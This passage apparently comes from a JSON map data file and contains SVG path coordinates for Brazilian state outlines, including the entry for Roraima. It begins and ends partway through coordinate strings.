75560.00C41486.00 75570.67 41475.00 75581.33 41464.00 75592.00C41442.67 75592.00 41421.33 75592.00 41400.00 75592.00C41410.67 75602.67 41421.33 75613.33 41432.00 75624.00C41421.33 75624.00 41410.67 75624.00 41400.00 75624.00C41378.67 75613.33 41357.33 75602.67 41336.00 75592.00C41303.67 75592.00 41271.33 75592.00 41239.00 75592.00C41239.00 75613.33 41239.00 75634.67 41239.00 75656.00C41228.33 75656.00 41217.67 75656.00 41207.00 75656.00C41207.00 75645.33 41207.00 75634.67 41207.00 75624.00C41185.67 75624.00 41164.33 75624.00 41143.00 75624.00C41132.33 75634.67 41121.67 75645.33 41111.00 75656.00C41100.24 75655.93 41089.44 75656.13 41078.71 75655.90C41046.47 75645.27 41014.24 75634.63 40982.00 75624.00C40982.00 75645.33 40982.00 75666.67 40982.00 75688.00C40960.67 75677.33 40939.33 75666.67 40918.00 75656.00C40907.33 75656.00 40896.67 75656.00 40886.00 75656.00C40896.67 75666.67 40907.33 75677.33 40918.00 75688.00C40907.33 75699.00 40896.67 75710.00 40886.00 75721.00C40875.00 75710.00 40864.00 75699.00 40853.00 75688.00C40842.33 75699.00 40831.67 75710.00 40821.00 75721.00C40821.00 75731.67 40821.00 75742.33 40821.00 75753.00C40810.33 75742.33 40799.67 75731.67 40789.00 75721.00C40735.33 75710.00 40681.67 75699.00 40628.00 75688.00C40338.67 75559.67 40049.33 75431.33 39760.00 75303.00z"},"br-23":{"name":"Roraima","path":"M52171.00 10353.00C52171.00 10235.00 52171.00 10117.00 52171.00 9999.00C52138.92 9956.27 52106.92 9913.46 52074.78 9870.78C52010.52 9806.52 51946.26 9742.26 51882.00 9678.00C51860.67 9645.67 51839.33 9613.33 51818.00 9581.00C51785.67 9559.67 51753.33 9538.33 51721.00 9517.00C51720.92 9506.24 51721.15 9495.43 51720.89 9484.71C51699.59 9431.14 51678.29 9377.57 51657.00 9324.00C51603.33 9291.67 51549.67 9259.33 51496.00 9227.00C51474.67 9205.67 51453.33 9184.33 51432.00 9163.00C51357.00 9120.33 51282.00 9077.67 51207.00 9035.00C51174.67 9024.00 51142.33 9013.00 51110.00 9002.00C51078.00 8980.67 51046.00 8959.33 51014.00 8938.00C50981.67 8927.33 50949.33 8916.67 50917.00 8906.00C50874.33 8916.67 50831.67 8927.33 50789.00 8938.00C50778.23 8927.15 50767.28 8916.45 50756.62 8905.50C50724.37 8862.57 50692.05 8819.69 50659.84 8776.73C50627.89 8723.49 50595.95 8670.24 50564.00 8617.00C50520.94 8584.58 50477.79 8552.25 50434.78 8519.78C50402.85 8487.85 50370.93 8455.93 50339.00 8424.00C50328.33 8349.00 50317.67 8274.00 50307.00 8199.00C50274.67 8188.00 50242.33 8177.00 50210.00 8166.00C50178.00 8144.67 50146.00 8123.33 50114.00 8102.00C50092.33 8059.33 50070.67 8016.67 50049.00 7974.00C50015.07 7951.09 49981.26 7928.01 49947.26 7905.21C49916.84 7885.14 49886.42 7865.07 49856.00 7845.00C49856.00 7834.33 49856.00 7823.67 49856.00 7813.00C49845.33 7802.33 49834.67 7791.67 49824.00 7781.00C49813.33 7738.00 49802.67 7695.00 49792.00 7652.00C49760.00 7609.00 49728.00 7566.00 49696.00 7523.00C49674.33 7458.67 49652.67 7394.33 49631.00 7330.00C49609.57 7308.62 49588.24 7287.12 49566.74 7265.83C49534.59 7244.35 49502.35 7222.99 49470.25 7201.44C49422.56 7165.64 49374.99 7129.67 49327.21 7093.99C49289.14 7065.66 49251.07 7037.33 49213.00 7009.00C49191.67 6944.67 49170.33 6880.33 49149.00 6816.00C49149.00 6762.33 49149.00 6708.67 49149.00 6655.00C49159.67 6623.00 49170.33 6591.00 49181.00 6559.00C49213.33 6526.67 49245.67 6494.33 49278.00 6462.00C49299.33 6462.00 49320.67 6462.00 49342.00 6462.00C49481.33 6526.33 49620.67 6590.67 49760.00 6655.00C49813.67 6708.67 49867.33 6762.33 49921.00 6816.00C49974.33 6934.00 50027.67 7052.00 50081.00 7170.00C50134.67 7212.67 50188.33 7255.33 50242.00 7298.00C50295.67 7319.67 50349.33 7341.33 50403.00 7363.00C50424.33 7341.33 50445.67 7319.67 50467.00 7298.00C50499.33 7298.00 50531.67 7298.00 50564.00 7298.00C50596.00 7308.67 50628.00 7319.33 50660.00 7330.00C50660.00 7319.33 50660.00 7308.67 50660.00 7298.00C50735.00 7287.33 50810.00 7276.67 50885.00 7266.00C50928.00 7244.67 50971.00 7223.33 51014.00 7202.00C51078.44 7202.03 51142.88 7201.95 51207.31 7202.04C51292.87 7212.69 51378.44 7223.35 51464.00 7234.00C51507.00 7223.33 51550.00 7212.67 51593.00 7202.00C51614.33 7191.33 51635.67 7180.67 51657.00 7170.00C51689.00 7170.00 51721.00 7170.00 51753.00 7170.00C51753.00 7191.33 51753.00 7212.67 51753.00 7234.00C51785.33 7234.00 51817.67 7234.00 51850.00 7234.00C51882.09 7244.73 51914.22 7255.35 51946.28 7266.14C51967.85 7276.76 51989.43 7287.38 52011.00 7298.00C52053.67 7298.00 52096.33 7298.00 52139.00 7298.00C52171.33 7276.67 52203.67 7255.33 52236.00 7234.00C52246.67 7234.00 52257.33 7234.00 52268.00 7234.00C52289.33 7266.00 52310.67 7298.00 52332.00 7330.00C52353.33 7330.00 52374.67 7330.00 52396.00 7330.00C52428.33 7362.33 52460.67 7394.67 52493.00 7427.00C52525.00 7480.67 52557.00 7534.33 52589.00 7588.00C52589.00 7609.33 52589.00 7630.67 52589.00 7652.00C52578.33 7662.67 52567.67 7673.33 52557.00 7684.00C52567.67 7705.33 52578.33 7726.67 52589.00 7748.00C52621.33 7780.33 52653.67 7812.67 52686.00 7845.00C52729.00 7930.67 52772.00 8016.33 52815.00 8102.00C52836.33 8112.67 52857.67 8123.33 52879.00 8134.00C52879.00 8144.67 52879.00 8155.33 52879.00 8166.00C52932.67 8177.00 52986.33 8188.00 53040.00 8199.00C53040.00 8241.67 53040.00 8284.33 53040.00 8327.00C53061.33 8337.67 53082.67 8348.33 53104.00 8359.00C53114.67 8359.00 53125.33 8359.00 53136.00 8359.00C53157.33 8402.00 53178.67 8445.00 53200.00 8488.00C53210.67 8488.00 53221.33 8488.00 53232.00 8488.00C53232.00 8455.67 53232.00 8423.33 53232.00 8391.00C53243.00 8402.00 53254.00 8413.00 53265.00 8424.00C53275.67 8402.33 53286.33 8380.67 53297.00 8359.00C53307.69 8348.22 53318.59 8337.60 53329.14 8326.72C53339.76 8305.48 53350.38 8284.24 53361.00 8263.00C53371.67 8252.33 53382.33 8241.67 53393.00 8231.00C53414.67 8231.00 53436.33 8231.00 53458.00 8231.00C53475.38 8213.64 53492.82 8196.34 53509.80 8178.58C53513.86 8174.39 53517.93 8170.19 53522.00 8166.00C53532.67 8177.00 53543.33 8188.00 53554.00 8199.00C53597.00 8177.33 53640.00 8155.67 53683.00 8134.00C53693.67 8123.33 53704.33 8112.67 53715.00 8102.00C53725.67 8112.67 53736.33 8123.33 53747.00 8134.00C53747.00 8123.33 53747.00 8112.67 53747.00 8102.00C53757.67 8102.00 53768.33 8102.00 53779.00 8102.00C53789.67 8112.67 53800.33 8123.33 53811.00 8134.00C53811.00 8144.67 53811.00 8155.33 53811.00 8166.00C53843.33 8166.00 53875.67 8166.00 53908.00 8166.00C53940.00 8177.00 53972.00 8188.00 54004.00 8199.00C54047.00 8188.00 54090.00 8177.00 54133.00 8166.00C54154.33 8166.00 54175.67 8166.00 54197.00 8166.00C54229.00 8177.00 54261.00 8188.00 54293.00 8199.00C54282.33 8209.67 54271.67 8220.33 54261.00 8231.00C54271.67 8241.67 54282.33 8252.33 54293.00 8263.00C54314.67 8273.67 54336.33 8284.33 54358.00 8295.00C54368.67 8305.67 54379.33 8316.33 54390.00 8327.00C54400.67 8327.00 54411.33 8327.00 54422.00 8327.00C54422.00 8316.33 54422.00 8305.67 54422.00 8295.00C54443.67 8295.00 54465.33 8295.00 54487.00 8295.00C54508.33 8305.67 54529.67 8316.33 54551.00 8327.00C54583.00 8295.00 54615.00 8263.00 54647.00 8231.00C54625.67 8231.00 54604.33 8231.00 54583.00 8231.00C54572.33 8220.33 54561.67 8209.67 54551.00 8199.00C54551.00 8188.00 54551.00 8177.00 54551.00 8166.00C54529.67 8166.00 54508.33 8166.00 54487.00 8166.00C54476.00 8155.33 54465.00 8144.67 54454.00 8134.00C54454.00 8123.33 54454.00 8112.67 54454.00 8102.00C54465.00 8091.33 54476.00 8080.67 54487.00 8070.00C54487.07 8059.24 54486.87 8048.44 54487.10 8037.70C54497.73 8005.47 54508.37 7973.23 54519.00 7941.00C54519.00 7887.67 54519.00 7834.33 54519.00 7781.00C54540.33 7781.00 54561.67 7781.00 54583.00 7781.00C54604.33 7791.67 54625.67 7802.33 54647.00 7813.00C54657.69 7823.78 54668.59 7834.40 54679.14 7845.28C54700.76 7888.19 54722.38 7931.09 54744.00 7974.00C54765.33 7984.67 54786.67 7995.33 54808.00 8006.00C54829.42 8038.06 54850.72 8070.23 54872.22 8102.22C54904.48 8134.48 54936.74 8166.74 54969.00 8199.00C54979.67 8220.33 54990.33 8241.67 55001.00 8263.00C54990.33 8284.33 54979.67 8305.67 54969.00 8327.00C54979.67 8337.67 54990.33 8348.33 55001.00 8359.00C54990.33 8369.67 54979.67 8380.33 54969.00 8391.00C54969.00 8402.00 54969.00 8413.00 54969.00 8424.00C55001.00 8424.00 55033.00 8424.00 55065.00 8424.00C55097.33 8413.00 55129.67 8402.00 55162.00 8391.00C55162.00 8434.00 55162.00 8477.00 55162.00 8520.00C55183.33 8520.00 55204.67 8520.00 55226.00 8520.00C55236.67 8530.67 55247.33 8541.33 55258.00 8552.00C55268.67 8552.00 55279.33 8552.00 55290.00 8552.00C55311.67 8573.67 55333.33 8595.33 55355.00 8617.00C55365.67 8606.00 55376.33 8595.00 55387.00 8584.00C55397.67 8605.67 55408.33 8627.33 55419.00 8649.00C55419.00 8627.33 55419.00 8605.67 55419.00 8584.00C55408.33 8552.00 55397.67 8520.00 55387.00 8488.00C55397.67 8488.00 55408.33 8488.00 55419.00 8488.00C55429.67 8498.67 55440.33 8509.33 55451.00 8520.00C55451.00 8509.33 55451.00 8498.67 55451.00 8488.00C55461.67 8488.00 55472.33 8488.00 55483.00 8488.00C55504.67 8498.67 55526.33 8509.33 55548.00 8520.00C55558.67 8520.00 55569.33 8520.00 55580.00 8520.00C55601.33 8530.67 55622.67 8541.33 55644.00 8552.00C55665.33 8541.33 55686.67 8530.67 55708.00 8520.00C55708.00 8488.00 55708.00 8456.00 55708.00 8424.00C55751.00 8381.00 55794.00 8338.00 55837.00 8295.00C55815.67 8273.67 55794.33 8252.33 55773.00 8231.00C55783.67 8220.33 55794.33 8209.67 55805.00 8199.00C55805.00 8188.00 55805.00 8177.00 55805.00 8166.00C55762.00 8166.00 55719.00 8166.00 55676.00 8166.00C55686.67 8144.67 55697.33 8123.33 55708.00 8102.00C55686.67 8102.00 55665.33 8102.00 55644.00 8102.00C55644.00 8091.33 55644.00 8080.67 55644.00 8070.00C55676.00 8038.00 55708.00 8006.00 55740.00 7974.00C55761.67 7974.00 55783.33 7974.00 55805.00 7974.00C55837.00 7963.00 55869.00 7952.00 55901.00 7941.00C55965.33 7984.00 56029.67 8027.00 56094.00 8070.00C56126.33 8070.00 56158.67 8070.00 56191.00 8070.00C56212.33 8059.33 56233.67 8048.67 56255.00 8038.00C56265.67 8038.00 56276.33 8038.00 56287.00 8038.00C56287.00 8027.33 56287.00 8016.67 56287.00 8006.00C56297.67 7984.33 56308.33 7962.67 56319.00 7941.00C56331.04 7953.28 56342.80 7965.84 56355.04 7977.92C56364.69 7987.28 56374.35 7996.64 56384.00 8006.00C56394.67 8006.00 56405.33 8006.00 56416.00 8006.00C56426.67 8027.33 56437.33 8048.67 56448.00 8070.00C56490.67 8059.33 56533.33 8048.67 56576.00 8038.00C56587.00 8048.67 56598.00 8059.33 56609.00 8070.00C56651.67 8080.67 56694.33 8091.33 56737.00 8102.00C56758.33 8102.00 56779.67 8102.00 56801.00 8102.00C56779.67 8187.67 56758.33 8273.33 56737.00 8359.00C56715.67 8380.67 56694.33 8402.33 56673.00 8424.00C56673.00 8477.33 56673.00 8530.67 56673.00 8584.00C56683.67 8595.00 56694.33 8606.00 56705.00 8617.00C56705.00 8627.67 56705.00 8638.33 56705.00 8649.00C56737.00 8691.67 56769.00 8734.33 56801.00 8777.00C56844.00 8777.00 56887.00 8777.00 56930.00 8777.00C56951.33 8788.00 56972.67 8799.00 56994.00 8810.00C57058.33 8810.00 57122.67 8810.00 57187.00 8810.00C57236.63 8842.76 57286.34 8875.40 57335.75 8908.50C57350.50 8918.33 57365.25 8928.17 57380.00 8938.00C57380.00 8959.33 57380.00 8980.67 57380.00 9002.00C57401.67 9023.67 57423.33 9045.33 57445.00 9067.00C57455.67 9067.00 57466.33 9067.00 57477.00 9067.00C57487.67 9077.67 57498.33 9088.33 57509.00 9099.00C57509.00 9109.67 57509.00 9120.33 57509.00 9131.00C57498.33 9141.67 57487.67 9152.33 57477.00 9163.00C57477.00 9206.00 57477.00 9249.00 57477.00 9292.00C57466.33 9313.33 57455.67 9334.67 57445.00 9356.00C57423.33 9356.00 57401.67 9356.00 57380.00 9356.00C57412.78 9372.17 57445.65 9388.14 57478.19 9404.77C57531.13 9431.51 57584.07 9458.26 57637.00 9485.00C57637.00 9517.00 57637.00 9549.00 57637.00 9581.00C57658.67 9581.00 57680.33 9581.00 57702.00 9581.00C57723.42 9613.39 57744.72 9645.89 57766.22 9678.22C57789.00 9700.91 57811.60 9723.77 57834.49 9746.35C57843.99 9755.57 57853.50 9764.78 57863.00 9774.00C57895.00 9774.00 57927.00 9774.00 57959.00 9774.00C58012.67 9720.33 58066.33 9666.67 58120.00 9613.00C58130.67 9591.67 58141.33 9570.33 58152.00 9549.00C58152.00 9517.00 58152.00 9485.00 58152.00 9453.00C58173.33 9453.00 58194.67 9453.00 58216.00 9453.00C58248.39 9431.24 58280.89 9409.61 58313.22 9387.78C58334.58 9366.48 58355.84 9345.05 58377.26 9323.83C58409.17 9302.55 58441.09 9281.28 58473.00 9260.00C58505.33 9217.00 58537.67 9174.00 58570.00 9131.00C58591.33 9141.67 58612.67 9152.33 58634.00 9163.00C58655.67 9163.00 58677.33 9163.00 58699.00 9163.00C58709.67 9184.33 58720.33 9205.67 58731.00 9227.00C58741.67 9227.00 58752.33 9227.00 58763.00 9227.00C58773.67 9259.33 58784.33 9291.67 58795.00 9324.00C58805.67 9324.00 58816.33 9324.00 58827.00 9324.00C58837.67 9345.33 58848.33 9366.67 58859.00 9388.00C58891.33 9409.67 58923.67 9431.33 58956.00 9453.00C58966.67 9453.00 58977.33 9453.00 58988.00 9453.00C58988.00 9431.33 58988.00 9409.67 58988.00 9388.00C58998.67 9388.00 59009.33 9388.00 59020.00 9388.00C59020.00 9366.67 59020.00 9345.33 59020.00 9324.00C59030.67 9313.33 59041.33 9302.67 59052.00 9292.00C59041.33 9270.33 59030.67 9248.67 59020.00 9227.00C59030.67 9195.00 59041.33 9163.00 59052.00 9131.00C59041.33 9099.00 59030.67 9067.00 59020.00 9035.00C59020.00 9002.67 59020.00 8970.33 59020.00 8938.00C59009.33 8927.33 58998.67 8916.67 58988.00 8906.00C59009.33 8884.67 59030.67 8863.33 59052.00 8842.00C59052.00 8831.33 59052.00 8820.67 59052.00 8810.00C59030.67 8810.00 59009.33 8810.00 58988.00 8810.00C58977.33 8788.33 58966.67 8766.67 58956.00 8745.00C58923.67 8723.67 58891.33 8702.33 58859.00 8681.00C58859.00 8670.33 58859.00 8659.67 58859.00 8649.00C58891.33 8627.33 58923.67 8605.67 58956.00 8584.00C58945.33 8584.00 58934.67 8584.00 58924.00 8584.00C58924.00 8573.33 58924.00 8562.67 58924.00 8552.00C58902.33 8541.33 58880.67 8530.67 58859.00 8520.00C58848.33 8498.67 58837.67 8477.33 58827.00 8456.00C58827.00 8445.33 58827.00 8434.67 58827.00 8424.00C58805.67 8413.00 58784.33 8402.00 58763.00 8391.00C58773.67 8348.33 58784.33 8305.67 58795.00 8263.00C58795.00 8230.67 58795.00 8198.33 58795.00 8166.00C58827.00 8155.33 58859.00 8144.67 58891.00 8134.00C58912.67 8112.67 58934.33 8091.33 58956.00 8070.00C58966.67 8038.00 58977.33 8006.00 58988.00 7974.00C58955.67 7963.00 58923.33 7952.00 58891.00 7941.00C58880.33 7898.33 58869.67 7855.67 58859.00 7813.00C58869.67 7813.00 58880.33 7813.00 58891.00 7813.00C58912.67 7791.33 58934.33 7769.67 58956.00 7748.00C58956.00 7726.67 58956.00 7705.33 58956.00 7684.00C58977.33 7673.33 58998.67 7662.67 59020.00 7652.00C59073.67 7673.33 59127.33 7694.67 59181.00 7716.00C59202.33 7705.33 59223.67 7694.67 59245.00 7684.00C59298.67 7684.00 59352.33 7684.00 59406.00 7684.00C59406.00 7673.33 59406.00 7662.67 59406.00 7652.00C59416.67 7641.33 59427.33 7630.67 59438.00 7620.00C59470.33 7630.67 59502.67 7641.33 59535.00 7652.00C59567.00 7652.00 59599.00 7652.00 59631.00 7652.00C59641.67 7662.67 59652.33 7673.33 59663.00 7684.00C59684.33 7684.00 59705.67 7684.00 59727.00 7684.00C59738.00 7705.33 59749.00 7726.67 59760.00 7748.00C59760.00 7759.00 59760.00 7770.00 59760.00 7781.00C59802.67 7781.00 59845.33 7781.00 59888.00 7781.00C59877.33 7770.00 59866.67 7759.00 59856.00 7748.00C59856.00 7726.67 59856.00 7705.33 59856.00 7684.00C59877.33 7673.33 59898.67 7662.67 59920.00 7652.00C59931.00 7652.00 59942.00 7652.00 59953.00 7652.00C59963.67 7641.33 59974.33 7630.67 59985.00 7620.00C59974.33 7598.33 59963.67 7576.67 59953.00 7555.00C59953.00 7523.00 59953.00 7491.00 59953.00 7459.00C59942.00 7469.67 59931.00 7480.33 59920.00 7491.00C59898.67 7480.33 59877.33 7469.67 59856.00 7459.00C59866.67 7459.00 59877.33 7459.00 59888.00 7459.00C59898.67 7437.67 59909.33 7416.33 59920.00 7395.00C59909.33 7373.33 59898.67 7351.67 59888.00 7330.00C59909.67 7330.00 59931.33 7330.00 59953.00 7330.00C59985.00 7319.33 60017.00 7308.67 60049.00 7298.00C60049.00 7287.33 60049.00 7276.67 60049.00 7266.00C60027.67 7244.67 60006.33 7223.33 59985.00 7202.00C60027.67 7212.67 60070.33 7223.33 60113.00 7234.00C60113.00 7223.33 60113.00 7212.67 60113.00 7202.00C60123.67 7191.33 60134.33 7180.67 60145.00 7170.00C60156.00 7170.00 60167.00 7170.00 60178.00 7170.00C60199.33 7191.33 60220.67 7212.67 60242.00 7234.00C60252.67 7212.67 60263.33 7191.33 60274.00 7170.00C60295.33 7170.00 60316.67 7170.00 60338.00 7170.00C60338.00 7148.33 60338.00 7126.67 60338.00 7105.00C60349.00 7105.00 60360.00 7105.00 60371.00 7105.00C60360.00 7094.33 60349.00 7083.67 60338.00 7073.00C60316.67 7073.00 60295.33 7073.00 60274.00 7073.00C60284.67 7051.67 60295.33 7030.33 60306.00 7009.00C60316.67 6998.33 60327.33 6987.67 60338.00 6977.00C60349.00 6987.67 60360.00 6998.33 60371.00 7009.00C60381.67 7009.00 60392.33 7009.00 60403.00 7009.00C60403.00 6998.33 60403.00 6987.67 60403.00 6977.00C60445.67 6977.00 60488.33 6977.00 60531.00 6977.00C60531.00 6966.33 60531.00 6955.67 60531.00 6945.00C60541.67 6955.67 60552.33 6966.33 60563.00 6977.00C60574.00 6977.00 60585.00 6977.00 60596.00 6977.00C60606.67 6987.67 60617.33 6998.33 60628.00 7009.00C60638.67 7009.00 60649.33 7009.00 60660.00 7009.00C60660.00 6998.33 60660.00 6987.67 60660.00 6977.00C60692.00 7009.00 60724.00 7041.00 60756.00 7073.00C60766.67 7073.00 60777.33 7073.00 60788.00 7073.00C60788.00 7062.33 60788.00 7051.67 60788.00 7041.00C60809.67 7041.00 60831.33 7041.00 60853.00 7041.00C60853.00 7073.33 60853.00 7105.67 60853.00 7138.00C60863.67 7138.00 60874.33 7138.00 60885.00 7138.00C60906.33 7159.33 60927.67 7180.67 60949.00 7202.00C60959.67 7191.33 60970.33 7180.67 60981.00 7170.00C60992.00 7170.00 61003.00 7170.00 61014.00 7170.00C61014.00 7180.67 61014.00 7191.33 61014.00 7202.00C61035.33 7202.00 61056.67 7202.00 61078.00 7202.00C61099.33 7191.33 61120.67 7180.67 61142.00 7170.00C61152.67 7191.33 61163.33 7212.67 61174.00 7234.00C61217.00 7234.00 61260.00 7234.00 61303.00 7234.00C61324.33 7255.33 61345.67 7276.67 61367.00 7298.00C61377.67 7287.33 61388.33 7276.67 61399.00 7266.00C61410.11 7276.69 61421.08 7287.58 61432.28 7298.14C61453.52 7308.76 61474.76 7319.38 61496.00 7330.00C61528.00 7319.33 61560.00 7308.67 61592.00 7298.00C61592.00 7330.33 61592.00 7362.67 61592.00 7395.00C61624.33 7405.67 61656.67 7416.33 61689.00 7427.00C61710.33 7427.00 61731.67 7427.00 61753.00 7427.00C61774.33 7437.67 61795.67 7448.33 61817.00 7459.00C61817.00 7469.67 61817.00 7480.33 61817.00 7491.00C61834.73 7473.81 61852.54 7456.70 61869.89 7439.11C61873.93 7435.07 61877.96 7431.04 61882.00 7427.00C61914.00 7427.00 61946.00 7427.00 61978.00 7427.00C61978.00 7405.67 61978.00 7384.33 61978.00 7363.00C61967.33 7363.00 61956.67 7363.00 61946.00 7363.00C61946.00 7341.33 61946.00 7319.67 61946.00 7298.00C61967.33 7298.00 61988.67 7298.00 62010.00 7298.00C62021.00 7287.33 62032.00 7276.67 62043.00 7266.00C62043.00 7255.33 62043.00 7244.67 62043.00 7234.00C62053.67 7234.00 62064.33 7234.00 62075.00 7234.00C62085.67 7244.67 62096.33 7255.33 62107.00 7266.00C62117.67 7266.00 62128.33 7266.00 62139.00 7266.00C62149.67 7255.33 62160.33 7244.67 62171.00 7234.00C62160.33 7223.33 62149.67 7212.67 62139.00 7202.00C62139.00 7169.67 62139.00 7137.33 62139.00 7105.00C62160.33 7094.33 62181.67 7083.67 62203.00 7073.00C62235.33 7094.67 62267.67 7116.33 62300.00 7138.00C62317.19 7120.27 62334.30 7102.46 62351.89 7085.11C62355.93 7081.07 62359.96 7077.04 62364.00 7073.00C62364.00 7094.67 62364.00 7116.33 62364.00 7138.00C62374.67 7127.00 62385.33 7116.00 62396.00 7105.00C62417.33 7105.00 62438.67 7105.00 62460.00 7105.00C62471.00 7083.67 62482.00 7062.33 62493.00 7041.00C62503.67 7051.67 62514.33 7062.33 62525.00 7073.00C62535.67 7051.67 62546.33 7030.33 62557.00 7009.00C62567.67 6998.33 62578.33 6987.67 62589.00 6977.00C62599.67 6977.00 62610.33 6977.00 62621.00 6977.00C62610.33 6987.67 62599.67 6998.33 62589.00 7009.00C62589.00 7030.33 62589.00 7051.67 62589.00 7073.00C62642.67 7126.67 62696.33 7180.33 62750.00 7234.00C62760.67 7266.00 62771.33 7298.00 62782.00 7330.00C62803.33 7341.00 62824.67 7352.00 62846.00 7363.00C62846.00 7330.67 62846.00 7298.33 62846.00 7266.00C62857.00 7223.33 62868.00 7180.67 62879.00 7138.00C62879.00 7127.00 62879.00 7116.00 62879.00 7105.00C62900.33 7105.00 62921.67 7105.00 62943.00 7105.00C62953.67 7094.33 62964.33 7083.67 62975.00 7073.00C62996.33 7083.67 63017.67 7094.33 63039.00 7105.00C63060.67 7105.00 63082.33 7105.00 63104.00 7105.00C63114.67 7094.33 63125.33 7083.67 63136.00 7073.00C63125.33 7062.33 63114.67 7051.67 63104.00 7041.00C63114.67 7030.33 63125.33 7019.67 63136.00 7009.00C63168.00 7009.00 63200.00 7009.00 63232.00 7009.00C63232.00 7019.67 63232.00 7030.33 63232.00 7041.00C63253.33 7051.67 63274.67 7062.33 63296.00 7073.00C63317.67 7073.00 63339.33 7073.00 63361.00 7073.00C63361.07 7062.24 63360.87 7051.44 63361.10 7040.70C63371.73 7008.80 63382.37 6976.90 63393.00 6945.00C63382.33 6923.33 63371.67 6901.67 63361.00 6880.00C63382.33 6880.00 63403.67 6880.00 63425.00 6880.00C63425.00 6858.67 63425.00 6837.33 63425.00 6816.00C63435.67 6805.33 63446.33 6794.67 63457.00 6784.00C63457.00 6773.33 63457.00 6762.67 63457.00 6752.00C63478.33 6741.00 63499.67 6730.00 63521.00 6719.00C63521.00 6730.00 63521.00 6741.00 63521.00 6752.00C63553.33 6752.00 63585.67 6752.00 63618.00 6752.00C63618.00 6741.00 63618.00 6730.00 63618.00 6719.00C63607.33 6708.33 63596.67 6697.67 63586.00 6687.00C63586.00 6676.33 63586.00 6665.67 63586.00 6655.00C63596.76 6654.95 63607.55 6655.10 63618.30 6654.92C63661.20 6644.28 63704.10 6633.64 63747.00 6623.00C63757.67 6601.67 63768.33 6580.33 63779.00 6559.00C63789.67 6559.00 63800.33 6559.00 63811.00 6559.00C63811.00 6569.67 63811.00 6580.33 63811.00 6591.00C63800.33 6601.67 63789.67 6612.33 63779.00 6623.00C63789.67 6633.67 63800.33 6644.33 63811.00 6655.00C63843.00 6644.33 63875.00 6633.67 63907.00 6623.00C63950.00 6623.00 63993.00 6623.00 64036.00 6623.00C64046.67 6612.33 64057.33 6601.67 64068.00 6591.00C64089.33 6591.00 64110.67 6591.00 64132.00 6591.00C64132.00 6601.67 64132.00 6612.33 64132.00 6623.00C64153.67 6623.00 64175.33 6623.00 64197.00 6623.00C64197.00 6644.33 64197.00 6665.67 64197.00 6687.00C64218.33 6687.00 64239.67 6687.00 64261.00 6687.00C64271.67 6665.67 64282.33 6644.33 64293.00 6623.00C64314.33 6612.33 64335.67 6601.67 64357.00 6591.00C64368.00 6612.33 64379.00 6633.67 64390.00 6655.00C64411.33 6655.00 64432.67 6655.00 64454.00 6655.00C64486.00 6644.33 64518.00 6633.67 64550.00 6623.00C64561.00 6623.00 64572.00 6623.00 64583.00 6623.00C64593.67 6612.33 64604.33 6601.67 64615.00 6591.00C64615.00 6580.33 64615.00 6569.67 64615.00 6559.00C64636.33 6548.33 64657.67 6537.67 64679.00 6527.00C64700.33 6505.33 64721.67 6483.67 64743.00 6462.00C64754.00 6462.00 64765.00 6462.00 64776.00 6462.00C64776.07 6451.24 64775.87 6440.44 64776.10 6429.70C64786.73 6397.80 64797.37 6365.90 64808.00 6334.00C64818.67 6323.33 64829.33 6312.67 64840.00 6302.00C64818.67 6291.00 64797.33 6280.00 64776.00 6269.00C64776.00 6258.33 64776.00 6247.67 64776.00 6237.00C64765.00 6215.67 64754.00 6194.33 64743.00 6173.00C64754.00 6173.00 64765.00 6173.00 64776.00 6173.00C64786.67 6162.33 64797.33 6151.67 64808.00 6141.00C64797.33 6108.67 64786.67 6076.33 64776.00 6044.00C64776.00 6022.67 64776.00 6001.33 64776.00 5980.00C64786.67 5969.33 64797.33 5958.67 64808.00 5948.00C64808.00 5926.67 64808.00 5905.33 64808.00 5884.00C64850.67 5873.00 64893.33 5862.00 64936.00 5851.00C64957.67 5829.67 64979.33 5808.33 65001.00 5787.00C65011.67 5787.00 65022.33 5787.00 65033.00 5787.00C65043.67 5765.67 65054.33 5744.33 65065.00 5723.00C65097.00 5723.00 65129.00 5723.00 65161.00 5723.00C65171.67 5733.67 65182.33 5744.33 65193.00 5755.00C65182.33 5765.67 65171.67 5776.33 65161.00 5787.00C65182.67 5787.00 65204.33 5787.00 65226.00 5787.00C65226.00 5776.33 65226.00 5765.67 65226.00 5755.00C65258.00 5755.00 65290.00 5755.00 65322.00 5755.00C65322.00 5765.67 65322.00 5776.33 65322.00 5787.00C65375.67 5787.00 65429.33 5787.00 65483.00 5787.00C65515.00 5797.67 65547.00 5808.33 65579.00 5819.00C65600.67 5819.00 65622.33 5819.00 65644.00 5819.00C65644.00 5797.67 65644.00 5776.33 65644.00 5755.00C65676.00 5755.00 65708.00 5755.00 65740.00 5755.00C65729.33 5733.67 65718.67 5712.33 65708.00 5691.00C65729.33 5680.00 65750.67 5669.00 65772.00 5658.00C65772.00 5647.33 65772.00 5636.67 65772.00 5626.00C65815.00 5626.00 65858.00 5626.00 65901.00 5626.00C65890.33 5615.33 65879.67 5604.67 65869.00 5594.00C65890.33 5583.33 65911.67 5572.67 65933.00 5562.00C65933.00 5551.33 65933.00 5540.67 65933.00 5530.00C65901.00 5519.33 65869.00 5508.67 65837.00 5498.00C65837.00 5476.33 65837.00 5454.67 65837.00 5433.00C65826.00 5433.00 65815.00 5433.00 65804.00 5433.00C65793.33 5422.33 65782.67 5411.67 65772.00 5401.00C65761.33 5401.00 65750.67 5401.00 65740.00 5401.00C65740.00 5390.33 65740.00 5379.67 65740.00 5369.00C65718.67 5358.33 65697.33 5347.67 65676.00 5337.00C65686.67 5305.00 65697.33 5273.00 65708.00 5241.00C65740.00 5241.00 65772.00 5241.00 65804.00 5241.00C65804.00 5230.00 65804.00 5219.00 65804.00 5208.00C65815.00 5219.00 65826.00 5230.00 65837.00 5241.00C65858.33 5241.00 65879.67 5241.00 65901.00 5241.00C65911.67 5251.67 65922.33 5262.33 65933.00 5273.00C65943.67 5273.00 65954.33 5273.00 65965.00 5273.00C65965.00 5251.33 65965.00 5229.67 65965.00 5208.00C65986.33 5219.00 66007.67 5230.00 66029.00 5241.00C66040.00 5262.33 66051.00 5283.67 66062.00 5305.00C66072.67 5283.67 66083.33 5262.33 66094.00 5241.00C66136.67 5262.33 66179.33 5283.67 66222.00 5305.00C66222.00 5283.67 66222.00 5262.33 66222.00 5241.00C66243.67 5273.00 66265.33 5305.00 66287.00 5337.00C66297.67 5326.33 66308.33 5315.67 66319.00 5305.00C66329.67 5305.00 66340.33 5305.00 66351.00 5305.00C66373.85 5327.76 66396.53 5350.70 66419.49 5373.35C66428.99 5382.57 66438.50 5391.78 